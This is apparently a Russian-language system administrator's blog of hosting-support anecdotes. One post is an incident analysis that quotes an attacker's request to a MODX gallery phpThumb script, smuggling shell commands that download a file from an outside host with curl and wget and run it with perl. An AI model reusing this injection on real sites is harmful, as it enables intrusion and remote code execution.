10:46

no tittle

An original idea. That can't be too hard. The library must be full of them. (c)Stephen Fry
[username@server ~/public_html]$ find . -maxdepth 1 -name "*.html" | wc -l
58206

"
Я уже говорил тебе, что такое безумие, а?"

@темы: маразмы, будни

An original idea. That can't be too hard. The library must be full of them. (c)Stephen Fry
Заявка от пользователя шареда:
"Просьба установить сертификаты SSL для sitename. Файлы тут: sitename/ssl/"

Ну окай.
$ ls -alh ~/ssl
drwx--x--- 512B Feb 11 2013 .
drwxr-xr-x 512B Feb 11 2013 ..

Хм... неужели...
$ ls -alh ~/public_html/ssl
drwxr-xr-x 512B Jul 28 13:50 .
drwxr-xr-x 1.0k Jul 28 13:49 ..
-rw-r--r-- 1.5k Jul 28 13:50 intermediate_pem_thawte_ssl123_1.crt
-rw-r--r-- 1.6k Jul 28 13:50 intermediate_pem_thawte_ssl123_2.crt
-rw-r--r-- 1.7k Jul 23 11:14 private.key
-rw-r--r-- 1.2k Jul 28 13:50 root_pem_thawte_ssl123_1.crt
-rw-r--r-- 1.6k Jul 28 13:50 sitename_123.crt



@темы: будни, с картинками

An original idea. That can't be too hard. The library must be full of them. (c)Stephen Fry

> Добрый день!
> Мы не можем получить доступы к базам данных.
> В чем проблема?
Прикрепленный файл: foto.docx , 139.6 KBytes

И почему мне кажется, что причина отправки скриншотов в .doc и корень всех бед пользователя растет из одного и того же места?)) Предубеждение какое-то, право слово.


An original idea. That can't be too hard. The library must be full of them. (c)Stephen Fry
Письмо от человека, ковыряющегося с веб-мордой roundcube на виртуалке.

"
Здравствуйте!
1. Скажите, какая у меня версия roundcube установлена? Я нигде не могу найти этой информации.
2. Какие плагины надо установить для mail forwarding? В какую директорию их распаковать(/var/www/html/roundcubemail-0.9.2/plugins?)
"

Очень хотелось ответить "ответ на первый вопрос смотрите во втором" :)


@темы: будни

An original idea. That can't be too hard. The library must be full of them. (c)Stephen Fry
Относительно недавно на хабре появилась такая статья, посвященная взломам сайтов: habrahabr.ru/company/host-tracker/blog/223877/

И я прочитал эту статью... И прочитал комментарии... Сказать, что я был одновременно взбешен и разочарован в хабражителях - это не сказать ничего. Вместо анализа проблемы, причем не возникшей черти когда - а наблюдаемой прямо в данный момент! - пользователь применил какой-то чудовищный костыль, завязанный на внешнем ресурсе (почему бы не написать аналогичный скрипт на питоне или баше и запускать кроном?), а всю ответственность за взлом сайта голословно свалил на хостера. При этом я каждый день сталкиваюсь со взломанными сайтами и случаи взлома по вине хостера можно пересчитать по пальцам руки слепого фрезеровщика - связаны обычно они с новенькими уязвимостями (из запомнившегося - у нас громко "бабахнула" несколько лет назад уязвимость обработчика PHP в режиме CGI - когда можно было выполнять произвольный код, raz0r.name/vulnerabilities/php-cgi-remote-code-...).

Но, поскольку на хабре я не зарегистрирован, то все это так и осталось в виде эмоций в голове :) За месяц эмоции поутихли, а сейчас попался более-менее интересный случай, не связанный с корявыми старыми джумлами и сотней тысяч вредоносов, которые загружались на "любимый, но никем не администрируемый сайтик" в течение нескольких лет.

Итак, пользователь получает уведомление от антивирусной системы:
~/.cagefs/tmp/af.txt: Trojan.IRCBot-1142

Сам по себе ~/.cagefs/tmp - это реализация /tmp в окружении пользователя в рамках CloudLinux.


> Пришло автоматическое сообщение о трояне на сервере. Файл удалили. Сайт проверили - все нормально. Вопрос - не заражен ли хостинг?

В принципе такие вопросы у поломанных пользователей не редки, хотя в большинстве случаев это скорее претензия-утверждение, а не вопрос. Единственное, что связывает такой вежливый стиль и откровенно хамские выкрики "из зала" - во всех случаях нет представления о том, что такое "уязвимость серверного ПО", о том, к чему оно приводит и о том, как рвут волосы на [censored] администраторы при обнаружении такого глобального факапа :) Ну а когда такое предстваление имеется - то и вопросов такого рода не возникает.

Что мы имеем? Грустную картину - файл пользователь уже грохнул, сказать что-либо о его содержимом или о времени его загрузки на сервер уже нельзя, в файлах сайта ничего интересного, при беглом взгляде в логах сайта за месяц ничего интересного... Мрак, однимо словом. О, вы только посмотрите, какая прелесть висит у юзера:
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
username 624605 95.0 0.0 36460 4404 ? R Jul10 8813:12 /usr/sbin/httpd

Ура, живем! Так, а что ты, собсственно, собака, делаешь?
-sh-4.1$ lsof -p 624605
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
perl 624605 username cwd DIR 8,6 4096 37716728 /tmp
perl 624605 username rtd DIR 8,2 12288 1114390 /
perl 624605 username txt REG 8,2 6912 1125070 /usr/bin/perl
perl 624605 username mem REG 8,1 27424 2859054 /lib64/libnss_dns-2.12.so
perl 624605 username mem REG 8,1 65928 2859058 /lib64/libnss_files-2.12.so
perl 624605 username mem REG 8,2 19336 1385051 /usr/lib64/perl5/auto/IO/IO.so
perl 624605 username mem REG 8,2 127412 1384483 /usr/lib64/perl5/auto/Socket/Socket.so
perl 624605 username mem REG 8,1 424472 2859174 /lib64/libfreebl3.so
perl 624605 username mem REG 8,1 1921216 2859027 /lib64/libc-2.12.so
perl 624605 username mem REG 8,1 142640 2859076 /lib64/libpthread-2.12.so
perl 624605 username mem REG 8,1 14584 2859104 /lib64/libutil-2.12.so
perl 624605 username mem REG 8,1 40400 2859041 /lib64/libcrypt-2.12.so
perl 624605 username mem REG 8,1 596264 2859047 /lib64/libm-2.12.so
perl 624605 username mem REG 8,1 19536 2859043 /lib64/libdl-2.12.so
perl 624605 username mem REG 8,1 113432 2859050 /lib64/libnsl-2.12.so
perl 624605 username mem REG 8,1 110960 2859078 /lib64/libresolv-2.12.so
perl 624605 username mem REG 8,2 1485896 1384505 /usr/lib64/perl5/CORE/libperl.so
perl 624605 username mem REG 8,1 154520 2859214 /lib64/ld-2.12.so
perl 624605 username 0r FIFO 0,8 0t0 754682712 pipe
perl 624605 username 1w FIFO 0,8 0t0 754682933 pipe
perl 624605 username 2w FIFO 0,8 0t0 754682714 pipe
perl 624605 username 3u unix 0xffff88011ad29280 0t0 754682764 socket
perl 624605 username 4u IPv4 754683819 0t0 TCP server:58368->107.170.202.233:http (ESTABLISHED)

Да, это то, что мы ищем. Perl-скрипт, запущен из под юзера из /tmp, атакуемый ресурс имеет какое-то отноешние к IRC. Теперь осталось обратиться к логам процессов и узнать, когда он был запущен (да-да, у нас все ходы записаны!):

2014-07-10 03:10:01 username 624605 77.7 0.0 36460 4392 ? R 03:09 0:41 /usr/sbin/httpd

Теперь, когда известно время запуска, можно посмотреть, как именно он был запущен. С помощью все тех же журналов сервера - с их помощью мы определим и то, что на сервере в это время пользователь не присутствовал, и то, что в это время к сайту пользователя пришел такой интересный запрос:

109.163.234.8 - - [10/Jul/2014:03:09:04 +0400] "GET /assets/components/gallery/connector.php?action=web/phpthumb&w=800&h=800&zc=0&far=&q=90&src=%2Fassets%2Fgallery%2F204%2F3636.jpg&fltr[]=blur|9%20-quality%2075%20-interlace%20line%20fail.jpg%20jpeg:fail.jpg%20;cd%20/tmp;curl%20-o%20af.txt%20thathi.com.br/af.txt;wget%20thathi.com.br/af.txt;perl%20af.txt;%20&phpThumbDebug=9 HTTP/1.1" 404 8305 "-" "Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0"

Вот так очередная леденящая душу история о "серверной уязвимости" на проверку оказалось банальным недосмотром разработчика или администратора сайта.


@темы: накипело, будни

An original idea. That can't be too hard. The library must be full of them. (c)Stephen Fry
Наша Таня громко плачет:
Уронила сервер патчем.
- Тише, Танечка, не плачь:
Мы откатим этот патч.

Прочитал, улыбнулся. А потом вспомнил об очередной спасенной вчера убунте на наших виртуалках. Собственно, при некоторых обновлениях у убунты умирает init и после перезагрузки ничего не запускается. Корень баги - не монтируются требуемые разделы, описание и костыль предложен здесь:
Вот такое вот "уронила сервер патчем" :)


An original idea. That can't be too hard. The library must be full of them. (c)Stephen Fry
/> Добрый день,
/> подскажите пож-та что занимает у меня на диске столько места в скрытых директориях??
/> что это за скрытые директории и для чего они??

Скрытые директории - любые директории, название которых начинается с точки. В данном случае речь идет о ~/.cagefs/tmp - каталог для хранения временных файлов.
В данном каталоге сейчас хранится более 800 тысяч файлов сессий:
-sh-4.1$ find ~/.cagefs/tmp/ | wc -l
859435
-sh-4.1$ du -sh ~/.cagefs/tmp/
3.4G ~/.cagefs/tmp/

Это говорит о том, что они не очищаются, что в настройках обработчика PHP указано некорректное значение времени жизни сессии.

-sh-4.1$ find public_html/ -name "php.ini"
public_html/site/admin/php.ini
public_html/site/php.ini
-sh-4.1$ cat public_html/site/php.ini | grep session
session.use_cookies = On;
session.use_trans_sid = Off;
session.gc_maxlifetime = 12000000;

Согласно Вашим настройкам, сессия хранится 10 лет.



@темы: будни, мисконфиг

An original idea. That can't be too hard. The library must be full of them. (c)Stephen Fry
Заявка на тему: не входит.


@темы: будни, с картинками

12:55

rc.d

An original idea. That can't be too hard. The library must be full of them. (c)Stephen Fry
Продолжаем тему членовредительств на виртуальных серверах :)

Нормальный rc.d:
drwxr-xr-x 10 root root 4096 May 15 10:34 /etc/rc.d
lrwxrwxrwx 1 root root 10 May 15 10:34 /etc/rc0.d -> rc.d/rc0.d
lrwxrwxrwx 1 root root 10 May 15 10:34 /etc/rc1.d -> rc.d/rc1.d
lrwxrwxrwx 1 root root 10 May 15 10:34 /etc/rc2.d -> rc.d/rc2.d
lrwxrwxrwx 1 root root 10 May 15 10:34 /etc/rc3.d -> rc.d/rc3.d
lrwxrwxrwx 1 root root 10 May 15 10:34 /etc/rc4.d -> rc.d/rc4.d
lrwxrwxrwx 1 root root 10 May 15 10:34 /etc/rc5.d -> rc.d/rc5.d
lrwxrwxrwx 1 root root 10 May 15 10:34 /etc/rc6.d -> rc.d/rc6.d

rc.d курильщика:
drwxr-xr-x 10 root root 4096 May 21 2013 /etc/rc.d
lrwxrwxrwx 1 root root 10 May 21 2013 /etc/rc0.d -> rc.d/rc0.d
lrwxrwxrwx 1 root root 10 May 21 2013 /etc/rc1.d -> rc.d/rc1.d
lrwxrwxrwx 1 root root 10 May 21 2013 /etc/rc6.d -> rc.d/rc6.d


@темы: факапы, будни

An original idea. That can't be too hard. The library must be full of them. (c)Stephen Fry
Внезапно подумалось, что "релей для спамеров" звучит как лозунг.

@темы: тухлое, Будни

12:01

Load Average

An original idea. That can't be too hard. The library must be full of them. (c)Stephen Fry
Картинка по мотивам тикета (собрана на коленке в гимпе)



@темы: маразмы, будни, с картинками

22:18

ЧТД

An original idea. That can't be too hard. The library must be full of them. (c)Stephen Fry
Ночная смена распечатала, склеила (!) и повесила на стену ответ (подробнейший, ~1.7 метра) пользователя на стандартный запрос информации вида "что именно и как не работает".


Думаю, комментарии излишни :)


@темы: маразмы, С картинками

15:41

Mail.ru

An original idea. That can't be too hard. The library must be full of them. (c)Stephen Fry
2014-04-10 09:38:41 1WY7gr-00176s-Bl <= user@server P=esmtpsa A=dovecot_login:user@server S=18890395 from for [email protected] [email protected]
2014-04-10 09:38:54 1WY7gr-00176s-Bl ** [email protected] R=lookuphost T=remote_smtp: SMTP error from remote mail server after end of data: host mxs.mail.ru [94.100.180.150]: 550 virus message discarded
2014-04-10 09:38:55 1WY7gr-00176s-Bl => [email protected] R=lookuphost T=remote_smtp H=mxs.mail.ru [217.69.139.150] X=TLSv1:AES256-SHA:256 C="250 OK id=1WY7hJ-0003fV-Ih

Как видно, @list.ru более параноялен, чем @mail.ru. И наоборот. Смотря к какому из айпишников сервера mxs.mail.ru подключаться :)


@темы: будни, бред

An original idea. That can't be too hard. The library must be full of them. (c)Stephen Fry
[14:16] <Mercury|wrk> какого хрена
[14:16] <Mercury|wrk> человек знает, что такое символьная ссылка, но не знает, как сменить права доступа к файлу...
[14:16] <Ariman> может быть он нагуглил
[14:16] <Ariman> а второе дольше гуглить
[14:17] <Mercury|wrk> что?)
[14:17] <Mercury|wrk> не знаю, мне всегда казалось что chmod - гораздо более элементарная вещь, чем ln ))
[14:17] <Ariman> ln короче
[14:19] <Mercury|wrk> черт, ты прав :(
[14:19] <Mercury|wrk> $ echo "`man ln`" | wc -l
[14:19] <Mercury|wrk> 103
[14:19] <Mercury|wrk> $ echo "`man chmod`" | wc -l
[14:19] <Mercury|wrk> 183
[14:19] <Ariman> ^_^


@темы: будни

An original idea. That can't be too hard. The library must be full of them. (c)Stephen Fry
[user@server ~]$ /etc/rc.d/httpd start
Starting apache.
Syntax error on line 1 of /etc/apache_1.3/site.conf:
Invalid command '<?php', perhaps mis-spelled or defined by a module not included in the server configuration
[user@server ~]$ cat /etc/apache_1.3/site.conf
<?php $URL="www.blablabla.eu/ru-RU";;
header
("Location:$URL");
exit();
?>

И это прекрасно! Но не работает.



@темы: Маразмы, Будни

13:20

An original idea. That can't be too hard. The library must be full of them. (c)Stephen Fry
Заявка от пользователя VPS - "Настраиваю отправку почты с сайта, использую msmtp и ящик находящийся на вашем же хостинге - ошибка аутентификации."
В ходе проверки было выявлено, что конфиг msmtp правильный, но нашему почтовому серверу пароль, даже введеный вручную, не нравится. У msmtp есть замечательный ключик -debug, с помощью которого можно получить SMTP-сессию с сервером и вот по этой сессии я увидел, что MD5-отклик от клиента не совпадает с откликом, который можно сгенерировать вручную. И на неправильный пароль, указанный где-то еще, не спишешь - я же догадался вручную пароль ввести при отправке письма... Шаблон начал потрескивать... Может ли MD5 считать неправильную сумму? о_О

Оказывается, может - точнее, не совсем MD5:
mail-index.netbsd.org/pkgsrc-bugs/2012/01/05/ms...

"... if msmtp is linked against OpenSSL but not GNU SASL, the OpenSSL library is not initialised which apparently causes the md5-functions to return garbage."

# msmtp --version
msmtp version 1.4.24
TLS/SSL library: OpenSSL
...
<неперводимая игра слов>
# yum update msmtp

Вот таким простым образом можно подорвать психическое здоровье администратора сервера)


@темы: будни

An original idea. That can't be too hard. The library must be full of them. (c)Stephen Fry
Я (12:33:47 7/03/2014)
"Опять двадцать пять. Мы попадаем в спам и блок лист клиентов"
Я (12:33:51 7/03/2014)

А. (12:34:24 7/03/2014)
перестать спамить)
Я (12:34:33 7/03/2014)
так он мб и не спамит
А. (12:35:27 7/03/2014)
ну значит не ему перестать спамить
Я (12:35:55 7/03/2014)
This! Is! SHARED!!! )
А. (12:36:41 7/03/2014)
shared wareD
Я (12:36:55 7/03/2014)
shared wared malwared ))


@темы: будни, с картинками

An original idea. That can't be too hard. The library must be full of them. (c)Stephen Fry
Если абьюзу нечего делать - он выходит на тропу войны! )


@темы: будни, с картинками

An original idea. That can't be too hard. The library must be full of them. (c)Stephen Fry
При прочтении описания тарифов (VDS) в отделе возникла легкая полемика на тему "процессорная мощность".
По итогам было сформулировано две мысли:

Процессорная мощность - количество теплоты, выделяемое процессором за единицу времени.
Какова же мощность процессора сервера? - 95 ватт. Честно-честно, мы спецификации на сайте интела посмотрели!


@темы: будни

An original idea. That can't be too hard. The library must be full of them. (c)Stephen Fry
Пишу ответ пользователю, и почему-то вместо "классического" для меня словосочетания "программного обеспечения" пишу "служб" (видимо, мне было таааак лень :) )

"... описанная проблема может быть связана либо с качеством сетевого подключения, либо с работой служб, осуществляющих контроль и фильтрацию трафика (..."

И сразу захотелось в список к антивирусу и фаерволлу добавить ФСБ, Роскомнадзор... :)


@темы: большой брат, будни